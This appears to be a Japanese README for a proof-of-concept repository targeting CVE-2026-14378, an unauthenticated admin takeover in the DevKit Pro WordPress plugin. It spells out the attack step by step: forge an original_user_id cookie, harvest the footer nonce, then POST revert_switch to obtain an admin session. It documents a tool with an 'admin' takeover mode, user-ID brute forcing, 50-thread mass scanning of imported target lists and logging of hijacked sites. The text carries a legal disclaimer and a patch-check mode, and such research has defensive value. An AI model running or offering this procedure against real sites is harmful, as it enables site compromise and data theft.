
CVE-2026-14378(DevKit Pro WordPressプラグインにおける、偽造されたoriginal_user_id Cookieを介した未認証の管理者セッション乗っ取り)に対応するPython製PoCスキャナーおよびエクスプロイトヘルパー。
CVE-2026-14378 の概念実証スキャナーおよびエクスプロイト支援ツール: WordPress プラグイン DevKit Pro (dplugins) における、欠陥のあるユーザー切り替え「revert」フローを悪用した未認証の管理者セッション乗っ取り。
法的注意: 自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムでのみ使用してください。不正アクセスは違法です。このリポジトリは防御的研究、検証、およびパッチ検証を目的としています。
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
推奨トピック: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| 製品 | DevKit Pro (ベンダー: dplugins) |
| 種類 | 認証バイパス → 完全な管理者セッション (CWE-287) |
| 影響を受けるバージョン | すべてのバージョン ≤ 2.3.0 |
| 修正済み | 3.0.0+ (変更履歴) |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | 問題 | 認証 |
|---|---|---|
| CVE-2026-14357 | DPDEV_install_themes を介した任意のテーマ ZIP インストール | Subscriber+ |
| CVE-2026-14378 | ユーザー切り替え revert を介したセッション乗っ取り | 不要 |
この PoC は 14378 のみを対象としています。
DevKit Pro の Users Manager はテストのためにユーザーを偽装できます。管理者が別のアカウントに切り替えると、プラグインは以前の ID をクライアント Cookie に保存します:
original_user_id — 切り替え前のアカウントのユーザー IDこの Cookie が存在する場合、プラグインはフロントエンドの wp_footer に**「switch back」**コントロールをレンダリングし、revert アクションにバインドされた WordPress nonce を含めます。
revert_switch ハンドラー (AJAX) は verify_nonce_and_capability() を呼び出しますが、これは実際のリクエスト元 (完全に未認証である可能性がある) に対して current_user_can() を使用するのではなく、original_user_id が参照するユーザーに対して誤って manage_options を評価します。
攻撃者は以下を実行できます:
Cookie: original_user_id=<administrator_user_id> (通常は 1) を設定します。action=revert_switch (またはプラグイン固有のエイリアス) と漏洩した nonce を付けて wp-admin/admin-ajax.php に POST します。wp_set_auth_cookie() をトリガーします → 認証済み管理者セッション。公式機能のコンテキスト: Users Manager — switch back。
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
check コマンドは意図的に厳格です: original_user_id を偽造した後にswitch-back nonce が出現した場合にのみ脆弱と報告します。
| 観察結果 | 考えられる意味 |
|---|---|
VULNERABLE — switch-back material leaked | エクスプロイト経路が機能する可能性が高い。admin の前にラボで確認してください。 |
not vulnerable (check): no switch-back nonce… | パッチ済み DevKit (≥ 3.0.0)、プラグイン未インストール、Users Manager が無効 (デフォルトでオフ)、カスタムプラグインパス、キャッシュ/CDN がフッターを除去、または誤ったサイト。 |
DevKit Pro readme not confirmed | 公開された readme.txt のフィンガープリントがない。プラグインが存在しても隠されている可能性がある — オラクルが依然として決定的なテストです。 |
DevKit Pro <= 2.3.0 suspected + それでも nonce なし | 脆弱なバージョンがインストールされている可能性があるが、switch 機能が有効になっていない、またはテストした URL でフッターがレンダリングされていない。 |
注: /wp-content/plugins/.../readme.txt への HTTP 200 が完全な HTML ページを返すのは、よくある WordPress のソフト 404 です。この PoC はステータスコードだけでなく、readme の内容 (Plugin Name: ヘッダー) を検証します。
pip install requests
オプション: requirements.txt には固定された最小バージョンが含まれています:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
乗っ取りは完了しません。フッター nonce オラクルのみをテストします。
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
完全な revert_switch を試行し、/wp-admin/ へのアクセスを検証します。
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| フラグ | 説明 |
|---|---|
--user-id | original_user_id に偽造する管理者 (またはターゲット) ユーザー ID (デフォルト: 1) |
--brute | 最初の ID が失敗した場合に ID 1..N を試行 |
--timeout | HTTP タイムアウト (秒) (デフォルト: 25) |
--log | 成功した admin URL をファイルに追記 (デフォルト: logs.txt) |
1 行に 1 つの URL。# コメントおよび空白以降の追加カラムは無視されます。
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
最初の引数としてファイルが渡されない場合、スクリプトはリストのパスを要求します (従来の一括スキャナーと同じ動作)。
一括モードはスレッドプール (50 ワーカー) を使用します。レート制限に達する場合は poc.py で調整してください。
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
脆弱 (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
脆弱でない (典型的な一括スキャン):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
管理者権限取得に成功:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…
verify=False)。リダイレクトを追跡。エラー時にオプションの HTTP↔HTTPS フォールバック。revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (商用プラグイン。正確なフック名はビルドによって異なる場合があります)。/, /?p=1, /sample-page/, /index.php。wordpress_logged_in_* Cookie および/または /wp-admin/ ダッシュボードのマーカー。DevKit Pro は wordpress.org では配布されていません。バージョンのフィンガープリンティングは、存在する場合に公開された readme.txt に依存します。
admin-ajax.php の revert_switch アクティビティを調査します。著者および貢献者は、誤用に対して一切の責任を負いません。このソフトウェアを使用することにより、適用される法律を遵守し、適切な許可を取得することに同意したものとみなされます。防御側は、DevKit Pro 3.0.0+ にアップグレードした後に check モードを使用してパッチを検証することを推奨します。
MIT — 含まれている場合は LICENSE を参照してください。含まれていない場合は、リポジトリ公開時にライセンスを指定してください。